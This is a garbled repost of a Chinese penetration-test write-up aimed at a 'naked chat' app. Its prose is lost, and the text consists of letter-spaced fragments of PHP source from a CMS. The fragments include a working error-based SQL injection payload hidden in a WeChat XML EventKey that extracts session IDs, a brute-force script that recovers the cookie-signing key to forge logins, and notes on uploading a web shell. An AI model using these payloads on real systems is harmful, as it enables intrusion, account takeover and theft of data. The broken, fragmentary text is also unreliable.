[180] 2020-12-27_记一次有趣的裸聊渗透测试

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-12-27_记一次有趣的裸聊渗透测试 f a n x i n g   A d m i n   T e a m   2 0 2 0 - 1 2 - 2 7 a p p + b u r p j s g i t h u b k j c m s s q l c l s _ w e i x i n : : o n _ e x e s q l $ a r r _ m s g [ F r o m U s e r N a m e ] $ a r r _ m s g g e t _ m s g ( ) s t a t i c   f u n c t i o n   g e t _ m s g ( )   {         $ a r r _ r e t u r n   =   a r r a y ( ) ;         $ c o n t   =   f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ;         / / $ c o n t   =   f i l e _ g e t _ c o n t e n t s ( K J _ D I R _ R O O T   .   " / t e s t . t x t " ) ;         i f ( e m p t y ( $ c o n t ) )   r e t u r n   $ a r r _ r e t u r n ;         $ r e q u e s t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t   ,   ' S i m p l e X m l E l e m e n t '   ,   L I B X M L _ N O C D A T A ) ;         $ a r r _ r e t u r n   =   f u n _ f o r m a t : : t o a r r a y ( $ r e q u e s t ) ;         r e t u r n   $ a r r _ r e t u r n ; }
$ c o n t p o s t x m l f u n _ f o r m a t : : t o a r r a y x m l o n _ e x e $ a r r _ m s g s q l o n _ e x e t a b _ w e i x i n _ m e s s a g e : : g e t _ o n e $ k e y $ s i t e _ i d c l s _ w e i x i n : : o n _ e x e w e i x i n . p h p p a y l o a d t a b _ w e i x i n _ m e s s a g e : : g e t _ o n e s t a t i c   f u n c t i o n   t o a r r a y ( $ c o n t )   {         i f ( g e t t y p e ( $ c o n t )   = =   " s t r i n g " )   $ c o n t   =   j s o n _ d e c o d e ( $ c o n t ) ;         $ a r r   =   ( a r r a y ) $ c o n t ;         f o r e a c h ( $ a r r   a s   $ i t e m = > $ k e y )   {                 i f ( g e t t y p e ( $ k e y )   = =   ' o b j e c t '   )   {                         $ k e y   =   s e l f : : t o a r r a y ( $ k e y ) ;                 }   e l s e   i f ( g e t t y p e ( $ k e y )   = =   ' a r r a y ' ) {                         $ k e y   =   s e l f : : o b j t o a r r a y ( $ k e y ) ;                 }                 $ a r r [ $ i t e m ]   =   $ k e y ;         }         r e t u r n   $ a r r ; } < ? p h p i n c l u d e ( " i n c . p h p " ) ; i f ( i s s e t ( $ _ G E T [ " e c h o s t r " ] ) )   {         e c h o   $ _ G E T [ " e c h o s t r " ] ; e x i t ; } c l s _ w e i x i n : : o n _ e x e ( ) ; i s s e r t ( $ a r r _ m s g [ ' T o U s e r N a m e ' ] ) - > i s s e r t ( $ a r r _ m s g [ ' F r o m U s e r N a m e ' ] ) - > $ a r r _ m s g [ ' M s g T y p e ' ]   = =   ' e v e n t ' - > $ a r r _ m s g [ ' E v e n t ' ] )   = =   ' c l i c k '
u p d a t e x m l ( 1 , i f ( ( { } ) , 0 x 7 c , 1 ) , 1 ) / d a t a / e r r o r / d b _ q u e r y / 2 0 2 0 _ 0 9 _ 1 6 . t x t ( _ _ . t x t )
h a s h m d 5 ( p a s s + ) c o o k i e c o o k i e k j _ s _ i d k j _ l o g i n _ t i m e k j _ s _ i d o n _ l o g i n _ v e r i f y $ a r r _ f i e l d s o n _ l o g i n f u n c t i o n   a c t _ l o g i n _ v e r i f y ( )   {                 $ a r r _ r e t u r n   =   $ t h i s - > o n _ l o g i n _ v e r i f y ( ) ;                 r e t u r n   f u n _ f o r m a t : : j s o n ( $ a r r _ r e t u r n ) ;         } f u n c t i o n   o n _ l o g i n _ v e r i f y ( )   {         $ a r r _ r e t u r n   =   a r r a y ( " c o d e "   = >   0   ,   " i d " = > 0   ,   " m s g "   = >   c l s _ l a n g u a g e : : g e t ( " l o g i n _ o k " ) ) ;         $ a r r _ f i e l d s   =   a r r a y (                 " u s e r _ n a m e "   = >   f u n _ g e t : : p o s t ( " u n a m e " ) ,                 " u s e r _ p w d "       = >   f u n _ g e t : : p o s t ( " p w d " ) ,                 " v e r i f y c o d e "   = >   f u n _ g e t : : g e t ( " v e r i f y c o d e " ) ,                 " a u t o l o g i n "   = >   f u n _ g e t : : g e t ( " a u t o l o g i n " )         ) ;         i f ( ! f u n _ i s : : p w d ( $ a r r _ f i e l d s [ " u s e r _ p w d " ] ) )   {                 $ a r r _ r e t u r n [ " c o d e " ]   =   7 ;                 $ a r r _ r e t u r n [ " m s g " ]     =     f u n _ g e t : : r u l e _ p w d ( " t i p s " ) ;                 r e t u r n   $ a r r _ r e t u r n ;         }         $ a r r   =   c l s _ o b j : : g e t ( " c l s _ u s e r " ) - > o n _ l o g i n ( $ a r r _ f i e l d s ) ;         i f (   $ a r r [ " c o d e " ]   ! =   0   )   {                 $ a r r _ r e t u r n   =   $ a r r ;                 r e t u r n   $ a r r _ r e t u r n ;         }         r e t u r n   $ a r r _ r e t u r n ; }
$ s t r _ i d f u n _ g e t : : s a f e c o d e $ p e r m s [ s i d ] s e l f : : $ p e r m s [ s i d ] i p + + k j _ s y s _ s e s s i o n s e s s i o n _ i d s e s s i o n _ u s e r _ i d 1 0 退 e c h o   s e l f : : $ p e r m s [ ' s i d ' ] ; e x i t ;
s e s s i o n _ i d f u n _ g e t : : s a f e c o d e c o o k i e k j _ s _ i d $ s t r _ k e y c l s _ c o n f i g : : M D 5 _ K E Y d a t a c o n f i g c f g . e n v . o n l i n e . p h p M D 5 _ K E Y r a n d o m
$ s t r _ r e t u r n 3 $ s t r _ l e f t b a s e 6 4 ( $ m s g _ v a l ) $ s t r _ r i g h t $ s t r _ k e y f u n _ g e t : : s a f e c o d e $ m s g _ v a l i p + + c o o k i e N g M T E 5 L j Y y L j E y N C 4 y M T E 1 O T g z N T I 1 N D M 4 N z U Y T B j Z m V k N 2 Z m M z Y 2 O T Y z Y g i p b a s e 6 4 = i p + + b a s e 6 4 3 6 $ m s g _ v a l 1 0 4 . 1 9 2 . 2 2 5 . 8 6 M T A z L j E 5 M i 4 y M j U u O D Y = N g M T E 5 L j Y y L j E y N C 4 y M T E 1 O T g z N T I 1 N D M 4 N z U Y T B j Z m V k N 2 Z m M z Y 2 O T Y z Y g < ? x m l   v e r s i o n = " 1 . 0 " ? > < n o t e >         < T o U s e r N a m e > c c c c < / T o U s e r N a m e >         < F r o m U s e r N a m e > 1 < / F r o m U s e r N a m e >         < M s g T y p e > e v e n t < / M s g T y p e >         < E v e n t > c l i c k < / E v e n t >         < E v e n t K e y > 1 '   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   c o n c a t ( s e s s i o n _ i d , 0 x 7 e , s e s s i o n _ u s e r _ i d )   f r o m   ` k j _ s y s _ s e s s i o n `   o r d e r   b y   s e s s i o n _ u s e r _ i d   d e s c   l i m i t   0 , 1 ) , 0 x 7 e ) , 1 ) # < / E v e n t K e y < / n o t e >
M D 5 _ K E Y p h p M D 5 _ K E Y M D 5 _ K E Y k j _ s _ i d < ? p h p f u n c t i o n   s a f e c o d e ( $ m s g _ v a l , $ m s g _ t y p e = " e n c o d e " , $ s t r _ k e y _ v a l   =   ' 3 6 1 1 8 ' ) {   / /   1 9 2 . 1 6 8 . 5 0 . 1 3 5 1 6 0 0 0 6 9 1 2 5 5 5 2                 $ s t r _ k e y               =   $ s t r _ k e y _ v a l ;                 $ s t r _ e n _ k e y         =   b a s e 6 4 _ e n c o d e ( $ s t r _ k e y ) ;                 $ s t r _ m d 5 _ k e y       =   m d 5 ( $ s t r _ k e y ) ;                 $ s t r _ m d 5 _ k e y _ 1   =   s u b s t r ( $ s t r _ m d 5 _ k e y   ,   0   ,   1 ) ;                 $ s t r _ m d 5 _ k e y _ 2   =   s u b s t r ( $ s t r _ m d 5 _ k e y   ,   - 1   ,   1 ) ;                 $ l n g _ k e y _ 1           =   o r d ( $ s t r _ m d 5 _ k e y _ 1 ) ;                 $ l n g _ k e y _ 2           =   o r d ( $ s t r _ m d 5 _ k e y _ 2 ) ;                 $ l n g _ x _ k e y 1         =   s u b s t r ( $ l n g _ k e y _ 1 , - 1 , 1 ) ;                 i f ( $ l n g _ k e y _ 1   >   9 )   {                         $ l n g _ x _ k e y 2   =   i n t v a l ( s u b s t r ( $ l n g _ k e y _ 1   ,   - 2   ,   1 ) )   +   $ l n g _ x _ k e y 1 ;                 } e l s e {                         $ l n g _ x _ k e y 2   =   $ l n g _ x _ k e y 1   *   2 ;                 }                 $ s t r _ l e f t             =   b a s e 6 4 _ e n c o d e ( s u b s t r ( $ s t r _ m d 5 _ k e y   ,   $ l n g _ x _ k e y 1   ,   $ l n g _ x _ k e y 2 ) ) ;                 $ l n g _ 2 _ k e y 1         =   s u b s t r ( $ l n g _ k e y _ 2   ,   - 1   ,   1 ) ;                 i f ( $ l n g _ 2 _ k e y 1   >   9 ) {                         $ l n g _ 2 _ k e y 2   =   i n t v a l ( s u b s t r ( $ l n g _ k e y _ 2   ,   - 2   ,   1 ) )   +   $ l n g _ 2 _ k e y 1 ;                 } e l s e {                         $ l n g _ 2 _ k e y 2   =   $ l n g _ 2 _ k e y 1   *   2 ;                 }                 $ s t r _ r i g h t   =   b a s e 6 4 _ e n c o d e ( s u b s t r ( $ s t r _ m d 5 _ k e y   ,   - $ l n g _ 2 _ k e y 2 ) ) ;                 i f ( $ m s g _ t y p e   = =   " e n c o d e " ) {                         $ s t r _ e n _ i d       =   b a s e 6 4 _ e n c o d e ( $ m s g _ v a l ) ;                         $ s t r _ e n _ c o d e   =   $ s t r _ l e f t   .   $ s t r _ e n _ i d   .   $ s t r _ r i g h t ;                         $ s t r _ r e t u r n     =   s t r _ r e p l a c e ( " = "   ,   " "   ,   $ s t r _ e n _ c o d e ) ;                 } e l s e {                         $ s t r _ l e f t         =   s t r _ r e p l a c e ( " = "   ,   " "   ,   $ s t r _ l e f t ) ;                         $ s t r _ r i g h t       =   s t r _ r e p l a c e ( " = "   ,   " "   ,   $ s t r _ r i g h t ) ;                         $ s t r _ l l e n         =   s t r l e n ( $ s t r _ l e f t ) ;                         $ s t r _ r l e n         =   s t r l e n ( $ s t r _ r i g h t ) ;                         $ s t r _ l e n           =   s t r l e n ( $ m s g _ v a l ) ;                         i f ( $ s t r _ l e n   <   ( $ s t r _ l l e n   +   $ s t r _ r l e n ) ) {                                 $ s t r _ r e t u r n   =   " " ;                         } e l s e {                                 $ s t r _ r e t u r n   =   b a s e 6 4 _ d e c o d e ( s u b s t r ( $ m s g _ v a l   ,   $ s t r _ l l e n   ,   - $ s t r _ r l e n ) ) ;                         }                 }                 r e t u r n   $ s t r _ r e t u r n ;         } f u n c t i o n   g e t N u m b e r ( $ s t a r t = 1 , $ e n d = 9 9 9 9 9 ) {         f o r   ( $ i = $ s t a r t ;   $ i   < =   $ e n d ;   $ i + + )   {                   $ a r r [ ]   =   s u b s t r ( s t r _ r e p e a t ( " 0 " , 6 ) . $ i , - 5 , 5 ) ;         }         r e t u r n   $ a r r ; } $ n u m b e r s =   g e t N u m b e r ( 1 , 9 9 9 9 9 ) ; f o r e a c h   ( $ n u m b e r s   a s   $ v a l ) {         $ k e y s s   =   s a f e c o d e ( ' 1 0 5 . 1 1 2 . 2 1 5 . 4 2 1 6 0 0 2 2 7 6 9 5 8 3 1 ' , ' e n c o d e ' , $ v a l ) . " < b r   / > " ;         e c h o   $ k e y s s . ' : ' . s t r v a l ( $ v a l ) . " < b r   / > " ;         i f   ( $ k e y s s   = =   ' N g M T A z L j E 5 M i 4 y M j U u N D I x N j A w M j I 3 N j k 1 O D M x Y T B j Z m V k N 2 Z m M z Y 2 O T Y z Y g ' ) {                 e c h o   $ v a l ;                 e x i t ;         } }
c o o k i e g e t s h e l l
p h p l i b t a b t a b . o t h e r . a t t a t c h . p h p $ a r r _ n o _ a l l o w _ e x t w i n d o w s g e t s h e l l p h p ( ) w i n d o w s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则